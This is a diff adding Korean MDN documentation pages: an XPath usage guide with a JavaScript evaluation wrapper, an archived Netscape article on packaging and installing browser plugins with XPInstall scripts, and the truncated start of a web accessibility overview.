+<h3 id="Wrapper_function">Wrapper function</h3>
+<p>다음의 함수는 주어진 XML 노드의 XPath 표현을 평가하는데 사용할 수 있습니다. 첫 번째 전달인자는 DOM 노드 혹은 Document 객체이고, 두 번째 전달인자는 XPath 표현에 대한 문자열 정의입니다.
+</p>
+<pre>// Evaluate an XPath expression aExpression against a given DOM node
+// or Document object (aNode), returning the results as an array
+// thanks wanderingstan at morethanwarm dot mail dot com for the
+// initial work.
+function evaluateXPath(aNode, aExpr) {
+  var xpe = new XPathEvaluator();
+  var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ?
+    aNode.documentElement : aNode.ownerDocument.documentElement);
+  var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null);
+  var found = [];
+  var res;
+  while (res = result.iterateNext())
+    found.push(res);
+  return found;
+}
+</pre>
+<p>이 함수는 <code>new XPathEvaluator()</code>와 같이 사용할 수 있습니다. 이것의 생성자는 Mozilla에 정의되어 있습니다. 다른 브라우저에서 사용될 웹페이지에서 이 스크립트가 사용된다면 다음과 같이 <code>new XPathEvaluator()</code>를 호출하면 됩니다:
+</p>
+<pre>  // XPathEvaluator is implemented on objects that implement Document
+  var xpe = aNode.ownerDocument || aNode;
+</pre>
+<p>이 예에서 <a href="ko/DOM/document.createNSResolver">XPathNSResolver</a>를 생성하는 것은 다음과 같이 간략화할 수 있습니다:
+</p>
+<pre>  var nsResolver = xpe.createNSResolver(xpe.documentElement);
+</pre>
+<p>그러나 <code>createNSResolver</code>는 XPath 표현에 대한 네임스페이스가 정해져 있고, 그러한 것들이 쿼리를 보낼 문서의 내용과 일치하여야 합니다. 그렇지 않다면 당신 자신만의 XPathNSResolver를 수행하는 부분을 만들어야 합니다.
+</p><p>(<a href="ko/Parsing_and_serializing_XML">Parsing and serializing XML</a>에서 설명하는 것과 같은) DOM 트리안에 로컬이나 원격 XML 파일을 읽기 위해 <a href="ko/XMLHttpRequest">XMLHttpRequest</a>를 사용한다면, <code>evaluateXPath()</code>의 첫 번째 전달인자는 <code>req.responseXML</code>가 되어야 합니다.
+</p>
+<h3 id=".EC.82.AC.EC.9A.A9.EC.98.88">사용예</h3>
+<p>다음과 같은 XML 문서가 있다고 가정합니다.(<a href="ko/How_to_Create_a_DOM_tree">How to Create a DOM tree</a>와 <a href="ko/Parsing_and_serializing_XML">Parsing and serializing XML</a>을 참조하십시오.):
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;people&gt;
+  &lt;person first-name="eric" middle-initial="H" last-name="jung"&gt;
+    &lt;address street="321 south st" city="denver" state="co" country="usa"/&gt;
+    &lt;address street="123 main st" city="arlington" state="ma" country="usa"/&gt;
+  &lt;/person&gt;
+
+  &lt;person first-name="jed" last-name="brown"&gt;
+    &lt;address street="321 north st" city="atlanta" state="ga" country="usa"/&gt;
+    &lt;address street="123 west st" city="seattle" state="wa" country="usa"/&gt;
+    &lt;address street="321 south avenue" city="denver" state="co" country="usa"/&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+<p>XPath 표현으로 문서에 "query"를 보낼 수 있습니다. 비록 DOM 트리를 탐색하는 것이 비슷한 결과를 가져오더라도 XPath를 사용하는 것이 더 빠르고 강력합니다. 만일 <code>id</code> attribute를 사용한다면 <code>document.getElementById()</code>를 사용해도 여전히 강력합니다. 하지만, XPath 만큼 강력하지 않습니다. 몇 가지 예제가 있습니다:
+</p>
+<pre>// display the last names of all people in the doc
+var results = evaluateXPath(people, "//person/@last-name");
+for (var i in results)
+  alert("Person #" + i + " has the last name " + results[i].value);
+
+// get the 2nd person node
+results = evaluateXPath(people, "/people/person[2]");
+
+// get all the person nodes that have addresses in denver
+results = evaluateXPath(people, "//person[address/@city='denver']");
+
+// get all the addresses that have "south" in the street name
+results = evaluateXPath(people,  "//address[contains(@street, 'south')]");
+alert(results.length);
+</pre>
+<h3 id=".EC.A0.95.EB.B3.B4">정보</h3>
+<ul> <li><a href="/ko/XPath" title="ko/XPath">XPath</a></li> <li><a class="external" href="http://www.topxml.com/code/default.asp?p=3&amp;id=v20021221025528">XPath Visualizer for Mozilla and Firefox</a></li> <li><a class="external" href="http://www.w3schools.com/xpath/">XPath tutorial</a></li> <li><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=229106">Forum discussion on this topic</a></li> <li><a class="external" href="http://zeus.jesus.cam.ac.uk/~jg307/mozilla/xpath-tutorial.html">Using the Mozilla JavaScript Interface to XPath</a> - 자바스크립트로 XPath를 사용하는 것에 대한 튜터리얼</li>
+</ul>
+
+<p>{{ languages( { "fr": "fr/Utilisation_de_XPath", "ja": "ja/Using_XPath", "ko": "ko/Using_XPath" } ) }}</p>
diff --git a/files/ko/using_xpinstall_to_install_plugins/index.html b/files/ko/using_xpinstall_to_install_plugins/index.html
new file mode 100644
index 0000000000..81b474d7dc
--- /dev/null
+++ b/files/ko/using_xpinstall_to_install_plugins/index.html
@@ -0,0 +1,218 @@
+---
+title: Using XPInstall to Install Plugins
+slug: Using_XPInstall_to_Install_Plugins
+tags:
+  - Plugins
+  - XPInstall
+translation_of: Archive/Mozilla/XPInstall/Installing_plugins
+---
+<p> </p>
+<p><a href="ko/XPInstall">XPInstall</a> is a JavaScript-based installer technology that works across all the platforms that <a class="external" href="http://mozilla.org">Mozilla</a> and Netscape browsers based on Mozilla (such as Netscape 7) are deployed. It can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on Windows) or obliging the user to restart their browser. For plugin vendors who have already written a native code (e.g. EXE) installer, XPInstall can wrap this native installer and run it so that the user never has to leave the browsing environment and click on the EXE to run it. This article presents a guideline for improving the plugin installation experience for Netscape Gecko browsers using <a href="ko/XPInstall_API_Reference">XPInstall</a>.</p>
+<h3 id="A_Definition_of_Terms" name="A_Definition_of_Terms">A Definition of Terms</h3>
+<p>XPInstall is an installer technology, and the name itself stands for "Cross Platform Install" (hence "XP" -- an abbreviation for "Cross Platform"). An XPInstall package is usually called an XPI package for short (and often pronounced "zippy"). This article is about how you can use XPInstall to install plugins to the browsers that support XPInstall.</p>
+<p>An XPI Package is in fact a ZIP file with the XPI file extension (e.g. myPluginInstaller.xpi), and can be created on Windows by utilities such as WinZip. XPI Packages, like ZIP files, "contain" other files, typically:</p>
+<ul>
+ <li>The software component to be installed. In our case, this is the plugin software.</li>
+ <li>A JavaScript file called install.js, which is the install logic that drives the installation. This includes instructions on where to install the software, and what messages to feed to the user.</li>
+</ul>
+<p>You can create an XPInstall file by first zipping all the items you want installed with WinZip (create a ZIP archive) and then renaming it with the XPI file extension instead of the ZIP file extension.</p>
+<p>Unlike native code installers (for example, files called setup.exe), the programming language for install operations in XPI is JavaScript. Since the file format that contains the software and the install.js JavaScript file is a cross-platform file (Zip) and since JavaScript is understood by Mozilla browsers on all platforms, often one single XPI package can be deployed on all platforms. This is, in fact, <a class="external" href="http://www.mozilla.org/docs/xul/xulnotes/xulnote_packages.html">how skins and themes are installed to Mozilla browsers</a>, changing their look and feel. This article focuses on how to install plugins.</p>
+<h3 id="Which_Browsers_Support_XPInstall.3F" name="Which_Browsers_Support_XPInstall.3F">Which Browsers Support XPInstall?</h3>
+<p>Currently, all <a class="external" href="http://mozilla.org/releases/stable.html">Mozilla browsers released by mozilla.org</a> support XPInstall, and a family of browsers based on Mozilla code support XPInstall. In particular, this includes:</p>
+<ul>
+ <li>Recent Netscape browsers such as Netscape 6.2.x and Netscape 7.0, which are both based on Netscape Gecko, which is at the core of the Mozilla browser</li>
+ <li>Recent <b>beta-only</b> versions of the AOL software based on Netscape Gecko, the layout engine of the Mozilla project.</li>
+</ul>
+<p><b>Caveats:</b></p>
+<ul>
+ <li>AOL Time Warner's <a class="external" href="http://www.compuserve.com/">CompuServe browser</a>, also based on Netscape Gecko, does not support XPInstall.</li>
+ <li>Netscape Communicator 4.x does not support XPInstall.</li>
+</ul>
+<h3 id="What_Does_a_Plugin_Consist_Of.3F" name="What_Does_a_Plugin_Consist_Of.3F">What Does a Plugin Consist Of?</h3>
+<p>Plugins can consist of the following types of files, all of which can be installed via an XPI Package:</p>
+<ul>
+ <li><b>Shared Libraries</b> (i.e. on Windows, these are DLLs, on Unix these are *.so files). These files are native code files made with the <a href="ko/Gecko_Plugin_API_Reference">Netscape Plugin API</a>.</li>
+ <li>If the plugin is scriptable, then it will also consist of an <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview">XPT file</a>. Examples would be Flash 6r47 on Windows, which consists of a DLL (called npswf32.dll) and an XPT file for scriptability (called flashplayer.xpt). If you are developing a plugin and wish to <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview">make it scriptable</a>, read the relevant portions of the <a href="ko/Gecko_Plugin_API_Reference">Plugin API</a>.</li>
+ <li><b>Additional software.</b> Many plugins are part of additional software for media types. For example, RealPlayer on Windows consists of a plugin DLL, but also the RealPlayer application (EXE) which the plugin DLL is a subset of. In this case, the plugin is the part of the software package that is browser-specific, as a mechanism to give the application additional "hooks" into the browser.</li>
+</ul>
+<p>XPInstall can be used to install any combination of these files on an end-user's machine. For those familiar with Netscape Communicator 4.x's SmartUpdate technology, this will be a familiar idea.</p>
+<h3 id="A_Brief_History_of_Netscape_Installer_Technologies" name="A_Brief_History_of_Netscape_Installer_Technologies">A Brief History of Netscape Installer Technologies</h3>
+<p>This section is relevant if you are familiar with Netscape Communicator 4.x's SmartUpdate installer technology. The use of JavaScript as the install logic is not unprecedented in Netscape browsers. Netscape Communicator 4.x uses the notion of SmartUpdate to install software, particularly plugins and Java applets to be run locally. SmartUpdate is
+ <i>
+  <b>not supported</b></i>
+ by Mozilla browsers (and Netscape/AOL browsers based on Mozilla such as Netscape 7), but because of the similarity between the two installer technologies, it is easy to convert your SmartUpdate files to XPInstall files. SmartUpdate involves a digitally signed JAR file which contained the software components to be installed as well as a JavaScript install.js file (called the install script) as the installer logic. Downloads and installs would be initiated with a security dialog box naming the certificate authority and the signer. Often, the SmartUpdate download was triggered via the pluginurl attribute of the embed tag:</p>
+<pre>&lt;embed type="application/x-randomtype" src="myfile.typ" width="50" height="50"
+pluginurl="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"&gt;&lt;/embed&gt;
+</pre>
+<p>In the example above, the pluginurl attribute points to the signed JAR file, which Netscape Communicator 4.x would then download (subject to the security dialog boxes) <b>if</b> the plugin was not located on the user's machine. SmartUpdate differs from XPInstall in that:</p>
+<ul>
+ <li>XPInstall uses ZIP files named XPI files (*.xpi) and SmartUpdate uses JAR files (*.jar)</li>
+ <li>Unlike a SmartUpdate JAR file, XPI Packages do not have to be digitally signed with a code-signing certificate.</li>
+ <li>XPI Packages make use of <a href="ko/XPInstall_API_Reference">different APIs</a> from within install.js, although the concept is the same.</li>
+</ul>
+<p>XPInstall for Mozilla-based browsers is analogous to SmartUpdate in Netscape Communicator 4.x browsers. Porting SmartUpdate deployments to XPInstall is trivial after gaining some familiarity with the <a href="ko/XPInstall_API_Reference">new XPInstall API</a>.</p>
+<h3 id="The_Recommended_Installation_Process" name="The_Recommended_Installation_Process">The Recommended Installation Process</h3>
+<p>XPInstall provides a cohesive API to accomplish rapid installation and setup of plugin software for end-users. The benefit of using XPInstall is to provide a streamlined installation mechanism. This section discusses what an ideal XPInstall Package will do, as well as points out some of the JavaScript API calls that you will make to accomplish these install tasks. An ideal XPI Package will:</p>
+<ol>
+ <li>Install to the current browser that is initiating the XPInstall installation via HTML or triggering an XPInstall installation via a Trigger Script. We will use the term current browser to refer to the browser that initiates the XPInstall download by visiting a site which requires a plugin that the current browser can not find locally. This step will involve the use of the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a> API call to start everything off, and also the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a> API call, which helps to locate the current browser's plugin directory.</li>
+ <li>Install the plugin software to another location on the user's hard disk, so that other Mozilla-based browsers that the user may install later can find the plugin (the browser specific components) and pick it up. The goal is to ensure that future Netscape Gecko browsers that the user may install later can benefit from the installation that the user initiated with the current browser. An example might be that the current browser is Netscape 7, but later, the user downloads a beta of the AOL software using Netscape Gecko. Rather than re-initiate the download of the plugin with the yet another browser, the second Netscape Gecko browser can detect that an installation has already occurred. This discovery mechanism hinges on making the secondary install location available from looking at a common repository of metadata. On Windows, this is the Windows System Registry. Once again, this step involves calls to <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a> to locate a "well known" directory in which to install to as a secondary install location.</li>
+ <li>On Windows: write Windows Registry keys that Netscape Gecko browsers (that get installed after the current browser) can parse to discover where the plugin is installed on the machine. In particular, the Windows Registry keys should point to the secondary install location so that future Netscape Gecko browsers can find and add to their list of available plugin locations. The exact format of these registry keys and how they should be written is covered in the section on the first install problem. To actually create and write keys to the Windows System Registry, you'll use the functions of the <a href="ko/XPInstall_API_Reference/WinReg_Object">WinReg object</a>.</li>
+ <li>Ensure that the plugin that has just been installed is refreshed by correctly invoking the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/refreshPlugins">refreshPlugins API</a>. By refreshing your plugin, you're ensuring that the plugin is available for use immediately, without obliging the user to restart their browser. This is one of the chief advantages of a smooth XPInstall experience.</li>
+</ol>
+<h3 id="The_First_Install_Problem" name="The_First_Install_Problem">The First Install Problem</h3>
+<p>The First Install Problem refers to the conditions arising when a plugin arrives on a user's machine before a browser arrives. The recommended install process addresses this issue, which is to install to a secondary location after installing to the current browser. In a nutshell, the first install problem can be summed up by the question: how can a browser which is installed on a user's machine after a given plugin has already been installed by the user benefit from the existing installation rather than download the same plugin again? In order to address this issue, plugin vendors are encouraged to:</p>
+<ul>
+ <li>Install the plugin software components for the browser (e.g. DLLs on Windows, and XPT files if applicable) to a secondary location, in addition to that of the plugins directory of the current browser.</li>
+ <li>Write keys in the Windows registry which store information about this secondary location, in particular the Plugin Path and the XPT Path (if applicable) so that Netscape Gecko browsers can pick up the plugin from the secondary location if they are installed after the plugin is (and thus, if a particular Netscape Gecko browser follows or replaces the current browser). The keys to write and the information they should contain is <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">discussed in detail in the specification posted on mozilla.org</a>. There is also a <a class="external" href="http://www.mozilla.org/projects/plugins/example-scobe.txt">sample registry entry</a> created by an imaginary company that is illustrative of what is discussed in the <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">specification for these registry keys</a>.</li>
+ <li>On Windows, the Windows Registry keys mentioned above follow a nomenclature using the concept of a <a class="external" href="http://www.mozilla.org/projects/plugins/plugin-identifier.html">Plugin Identifier</a> as the name of the key under the MozillaPlugins subkey. The <a class="external" href="http://www.mozilla.org/projects/plugins/plugin-identifier.html">Plugin Identifier (or PLID)</a> is a useful concept that is also applicable when initializing the installation via the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall API</a>.</li>
+</ul>
+<h3 id="A_Breakdown_of_the_APIs_Used" name="A_Breakdown_of_the_APIs_Used">A Breakdown of the APIs Used</h3>
+<p>The recommended plugin installation process makes use of the XPInstall APIs to install to the current browser's Plugins directory, install to a secondary location, and to <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">write to the Windows System Registry to disclose this secondary location</a>. This section traces some of the XPInstall APIs that can do this. A complete template of an XPI Package is also presented in this section. Not all the work needs to be done in JavaScript -- if you have a native installer (EXE) that <a class="external" href="http://mozilla.org/projects/plugins/install-scheme.html">recognizes Netscape Gecko browsers</a>, and you merely wish to wrap the EXE installer in an XPI Package for a streamlined delivery to the client, you can easily do so. This section refers extensively to the <a href="ko/XPInstall_API_Reference">XPInstall API Documentation</a>.</p>
+<h4 id="Initializing_Installation_with_Plugin_Identifier" name="Initializing_Installation_with_Plugin_Identifier">Initializing Installation with Plugin Identifier</h4>
+<p>All XPInstall installations are initiated with the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall method of the Install Object</a>. Since the Install Object is available to the install script, it need not be mentioned in the install script (e.g. there is no need to invoke Install.initInstall; simply invoking <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a> will suffice). The initInstall method is polymorphic, but here is a recommended invocation mechanism:</p>
+<pre>initInstall("My Plugin Software", "@myplugin.com/MyPlugin,version=2.5", "2.5.0.0");
+</pre>
+<p>In the code snippet above, the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a> method is invoked with three parameters:</p>
+<ul>
+ <li>A String for the name of the application</li>
+ <li>A String signifying the <a class="external" href="http://mozilla.org/projects/plugins/plugin-identifier.html">Plugin Identifier</a> associated with the plugin. This value is actually entered in the Client Version Registry upon installation, a Mozilla-browser file that stores metadata about the software that has just been installed. This value can be queried via web-page delivered JavaScript, and is useful for initiating XPInstall downloads via <a href="ko/XPInstall_API_Reference/InstallTrigger_Object">Trigger Scripts</a>. You can determine the version of the software that has been installed, and determine whether to update it, all via JavaScript in a web-page.</li>
+ <li>A String representing the four digit version of the software.</li>
+</ul>
+<p><b>Caveat:</b> Certain versions of Mozilla-based browsers (such as Netscape 6.x) treat the use of the equals character ("=") as an illegal token and thus do not allow invocation of initInstall with strings containing "=". A workaround to this would be to detect if initInstall has failed, and then invoke it again without the "=" string. Here is an example:</p>
+<pre>var PLID = "MyPlugin.plug/version=6.5";
+err = initInstall(SOFTWARE_NAME, PLID, VERSION);
+
+if (err != 0)
+{
+	// install may have failed because of N6 and =
+	// replace PLID with a simple string
+	err = initInstall(SOFTWARE_NAME, "MyPluginString", VERSION);
+	if (err != 0)
+		cancelInstall(err);
+}
+</pre>
+<p>Note that above, the PLID contains an "=" and in case the XPI package is running on browsers that treat "=" as an illegal token, the workaround is to handle the error and invoke initInstall again.</p>
+<h3 id="Using_XPInstall_to_Run_an_EXE_.28Native_Code.29_Installer" name="Using_XPInstall_to_Run_an_EXE_.28Native_Code.29_Installer">Using XPInstall to Run an EXE (Native Code) Installer</h3>
+<p>If you wish to run a native installer (EXE) to install plugin software, but wish to make the delivery of this native installer streamlined and within the browser's process, then you ought to consider wrapping it in an XPI Package. From JavaScript, you can call XPInstall's <a href="ko/XPInstall_API_Reference/Install_Object/Methods/execute">execute method of the Install Object</a> to execute the binary. You can also call the <a href="ko/XPInstall_API_Reference/File_Object/Methods/execute">execute method of the File object</a> if you wish to actually install the file you are executing, rather than have it deleted. You can pass command line parameters to the executable. An example of calling the execute method from the Install Object on an executable that has a temporary life span (and is not needed after one execution) is:</p>
+<pre>// Initialize the installation ....
+
+// initInstall(..... ) has already been called
+
+// Using the Install Object's execute method to block on a native installer
+
+execute("setup.exe", "-s", true);
+
+// In the above sample, assume that running "setup -s" from the
+// Command Prompt runs the setup executable, and that  "-s" is some
+// invocation parameter defined by the setup.exe file, perhaps to force
+// the installer to run silently.  We are passing "-s" to the setup file.
+// By passing 'true' we are telling the Install Script to block
+// on the execution of the installable, and do it synchronously
+
+// Must call performInstall to make it all happen...
+
+err = getLastError();
+if (!err)
+   performInstall();
+else
+  cancelInstall(err);
+</pre>
+<h4 id="Installing_Plugin_Files_To_the_Current_Browser" name="Installing_Plugin_Files_To_the_Current_Browser">Installing Plugin Files To the Current Browser</h4>
+<p>Installing to the current browser is the task that is the most important for the XPI Package to succeed in. Here is a code snippet that accomplishes this:</p>
+<pre>// Name of the files to be installed
+var PLUGIN_FILE    = "NPMyPlugin.dll";
+var COMPONENT_FILE = "NPMyPluginScriptablePeer.xpt";
+
+// invoke initInstall to start the installation
+
+....
+
+var pluginFolder = getFolder("Plugins");
+
+// verify disk space is appropriate
+
+....
+
+err = addFile("@myplugin.com/MyPlugin,version=2.5.0.0",
+                     "2.5.0.0", PLUGIN_FILE, pluginsFolder, null);
+    if (err != 0)
+    {
+	//alert("Installation of MyPlugin plug-in failed. Error code "+err);
+	logComment("adding file "+PLUGIN_FILE+" failed. Errror conde: " + err);
+	return err;
+    }
+
+err = addFile(null, CULT_VERSION, COMPONENT_FILE, componentsFolder, null);
+    if (err != 0)
+    {
+	alert("Installation of MyPlugin component failed. Error code "+err);
+	logComment("adding file "+COMPONENT_FILE+" failed. Error conde: " + err);
+	return err;
+    }
+</pre>
+<h4 id="Installing_to_a_Secondary_Location" name="Installing_to_a_Secondary_Location">Installing to a Secondary Location</h4>
+<p>For the purposes of solving the <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">First Install Problem</a>, it is necessary to install to a secondary location to ensure discoverability of the plugin by other Netscape Gecko browser in addition to the current browser. A good choice for this secondary location might be the Windows directory on Windows machines. <b>Caveat:</b> Because of possible administrator issues, handle errors carefully!</p>
+<pre>// Get the Windows System directory e.g. C:\WINNT\system32\ directory
+
+var winDirectory = getFolder("Win System");
+
+// Create the Folder C:\WINNT\system32\MyPlugin
+
+var dllWin32Folder = getFolder("file:///", winDirectory+"\\MyPlugin\\");
+//Install DLL to C:\Windows Folder
+	copyErr = addFile("", VERSION, PLUGIN_FILE, dllWin32Folder, null);
+    if (copyErr != 0)
+    {
+    	logComment("First Install:"+copyErr);
+    	return copyErr;
+    }
+
+// Install the XPT file to C:\WINNT\system32\MyPlugin folder
+
+var xptWin32Folder = getFolder("file:///", winDirectory+"\\MyPlugin\\");
+	copyErr = addFile("", VERSION, COMPONENT_FILE, xptWin32Folder, null);
+    if (copyErr != 0)
+    {
+    	logComment("First Install:"+copyErr);
+    	return copyErr;
+    }
+</pre>
+<p>Once the secondary installation has taken place, the <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">Win32 Registry keys have to be updated</a> to indicate information about where the secondary install location is, so that browsers can discover it. This is accomplished with the <a href="ko/XPInstall_API_Reference/WinReg_Object">WinReg</a> object that is exposed to XPInstall. The pieces all come together in the template below.</p>
+<h3 id="An_XPInstall_Template" name="An_XPInstall_Template">An XPInstall Template</h3>
+<p>We have provided you with <a href="ko/Using_XPInstall_to_Install_Plugins/Install_script_template">a template for an install script</a> which you might want to open in another tab or window. This install script does all of the following:</p>
+<ul>
+ <li>It installs both a DLL and an XPT file to the browser's plugins directory. The plugin itself is an imaginary one: MyPlugin. The variables that determine the plugin name, however, can be easily modified. This install.js file assumes that the plugin software that is to be installed consists of both a DLL and an XPT file, which is not always true. Many plugins may involve more than one DLL, or perhaps additional native code. It is, however, a safe assumption for most plugins, especially <a class="external" href="http://www.macromedia.com/go/getflashplayerbutton/">Macromedia's Flash Plugin</a> which consists of a single DLL (on Windows this is npswf32.dll) and a single XPT file for scriptability (called flashplayer.xpt).</li>
+ <li>It further installs to a secondary location on the user's desktop. In particular, like many OCX files (ActiveX controls) it installs to a special directory within C:\WINNT\System32\, called C:\WINNT\System32\MyPlugin. XPInstall is able to determine what directory this is by the <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a> API call. We have written our own JavaScript function to contain all the secondary installation code -- function createSecondaryInstall()</li>
+ <li>And finally, it writes the <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">required registry keys to Windows</a>. This is done via the created function, called function registerPLID().</li>
+</ul>
+<p>Certainly, this script is Windows-centric, but it is easy to port it to any other platform. Easier, perhaps, since the lengthy Win32 Registry manipulation need not occur on Linux or Mac OSX. The <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder API</a> provides you with enough "syntactic sugar" to determine other locations on the user's computer on different platforms and OS's. A single install.js is often capable of running on many different platforms.</p>
+<h3 id="Some_Installation_Concerns" name="Some_Installation_Concerns">Some Installation Concerns</h3>
+<p>This section gathers together some of the chief concerns about deploying XPI packages, notably: how ought a plugin download via XPI be initiated? And what about uninstalling plugins?</p>
+<h3 id="Triggering_an_XPInstall_Download_with_a_TriggerScript" name="Triggering_an_XPInstall_Download_with_a_TriggerScript">Triggering an XPInstall Download with a TriggerScript</h3>
+<p>A <a href="ko/XPInstall_API_Reference/Examples/Trigger_Scripts_and_Install_Scripts">Trigger Script</a> is web-page delivered piece of JavaScript that can automatically initiate an XPInstall download. This can be done conditionally, since <a href="ko/XPInstall_API_Reference/Examples/Trigger_Scripts_and_Install_Scripts">Trigger Scripts</a> can also detect what software has already been installed to the user's machine via XPInstall. This feature is useful for Web sites because:</p>
+<ul>
+ <li>HTML pages and JavaScript already have a way of detecting what plugins are installed. Additionally, via the <a href="ko/XPInstall_API_Reference/InstallTrigger_Object">InstallTrigger</a> object which is exposed in Web pages, they can find out what the last version of the XPI Package was.</li>
+ <li>The <a href="ko/XPInstall_API_Reference/InstallTrigger_Object">InstallTrigger</a> object can also start an XPI download automatically. This is useful because users can visit a Web site, and conditionally get served software (in a streamlined manner) that the Web site wants the user to have.</li>
+</ul>
+<p>Trigger Scripts are a recommended way of initiating an XPInstall download.</p>
+<h3 id="Triggering_an_XPInstall_Download_from_HTML" name="Triggering_an_XPInstall_Download_from_HTML">Triggering an XPInstall Download from HTML</h3>
+<p>In a manner analogous to how SmartUpdate downloads were initiated by the pluginurl attribute of the embed tag, XPInstall downloads can also be initiated by HTML tags invoking plugins, notably via the <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#adef-codebase-OBJECT">codebase</a> attribute of the <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-OBJECT">object</a> tag. This is analogous to how Internet Explorer downloads CAB files pointed to by the <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#adef-codebase-OBJECT">codebase</a> attribute of the <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-OBJECT">object</a> tag. Here's an example of a hypothetical object tag used to invoke MyPlugin (an imaginary application):</p>
+<pre>	&lt;object id="thePlugin" type="application/x-myplugin" width="100"
+	height="100" codebase="http://location/XPI/myplugin.xpi"&gt;
+
+&lt;param .... &gt;
+</pre>
+<p>In the above case, the codebase attribute points directly to the XPI Package, and if the browser can not identify any plugin to handle the (imaginary) application/x-myplugin MIME type, it will download the XPI Package.</p>
+<p><b>Note:</b> XPI Packages (files with the xpi extension) use the application/x-xpinstall MIME type. When serving XPI Packages from servers to clients, make sure that XPI Packages are served with this MIME type in the HTTP headers. Associate the application/x-xpinstall MIME type with XPI Packages.</p>
+<h3 id="The_Uninstall_Problem" name="The_Uninstall_Problem">The Uninstall Problem</h3>
+<p>In its current iteration, XPInstall does not have an affiliated uninstall technology. It can therefore only be used to install files or deliver native code installers to the client, and if uninstall is a legitimate concern, it might be wise to write a native code (EXE) uninstaller to remove the software. XPInstall can therefore be the "agent of delivery" to streamline the download of the EXE software, but ultimately, the logic of installation and uninstallation will be handled by EXE, which can then create files and registry entries and also clean up after itself upon removal.</p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Author(s): Arun K. Ranganathan, Netscape Communications</li>
+  <li>Last Updated Date: 05 Aug 2002</li>
+  <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+  <li>Link: <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2002/xpinstall-guidelines/index_en.html" rel="freelink">http://devedge-temp.mozilla.org/view.../index_en.html</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html
new file mode 100644
index 0000000000..8c53f2148f
--- /dev/null
+++ b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html
@@ -0,0 +1,222 @@
+---
+title: An overview of accessible web applications and widgets
+slug: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
+translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
+---
+<p>웹은 변화하고 있습니다. 페이지 중심의 정적이던 사이트들은 동적으로 변화하고 있고, 데스크톱 웹 어플리케이션들이 JS와 AJAX를 중점으로 사용하며 제작되고 있습니다. 디자이너들은 새로운 위젯들과 컨트롤을 한결같이 JavaScript, HTML, CSS를 조합해서 만들고 있습니다. 이런 변화는 사용성과 반응형 향상에는 극적으로 도움을 주지만, 또 다른 많은 유저들은 접근성 격차로 인해 제약이 발생하는 리스크도 안고 있습니다. JavaScript는 스크린리더 같은 보조기술을 사용하는 유저들이 접근하기 힘들다고 알려져 있었습니다. 하지만 현재는 다양한 사용자가 접근할 수 있는 동적 웹 어플리케이션을 만들 수 있습니다.</p>
+
+<h2 id="문제">문제</h2>
+
+<p>대부분의 자바스크립트 개발도구는 데스크톱 인터페이스의 동작을 유사하게 만들 수 있도록 클라이언트-사이드 위젯 라이브러리를 제공하고 있습니다. Slider, Menu bar, Filelist View 등을 JavaScript, CSS, HTML을 이용해서 만들 수  있습니다. HTML4 명세가 나왔을 때는 HTML 태그에서 이런 위젯들의 설명이 제공되지 않았으며, 개발자들은 보통 &lt;div&gt;나 &lt;span&gt;같은 것들을 활용하여 개발하였습니다. 이런 시대의 결과로 데스크톱 위젯들은 충분한 정보를 제공하지 못하였으며 이는 기술적으로 전혀 도움이 되지 않았습니다. 동적 콘텐츠는 이유가 어떻든 스크린을 보지 못하는 사람에게 문제가 되었습니다. 주식 시세 표시 위젯, 트위터 라이브 피드 갱신, 프로그레스바 같은 것들을 보조공학기술(AT)로 인식하지 못하는 경우가 많았습니다. <a href="/en/ARIA" style="line-height: 1.5;" title="ARIA">ARIA</a><span style="line-height: 1.5;">가 필요한 이유가 여기에 있습니다. </span></p>
+
+<p><em>Example 1: 탭 위젯을 ARIA 레이블링 없이 만든 마크업. 마크업에서 위젯의 폼과 동작에 대해 설명하고 있지 않습니다.</em></p>
+
+<pre class="brush: html"><code>&lt;!-- 탭 위젯을 위한 코드입니다. 어떻습니까? 마크업만 보고서 가늠이 되나요? --&gt;
+&lt;ol&gt;
+  &lt;li id="ch1Tab"&gt;
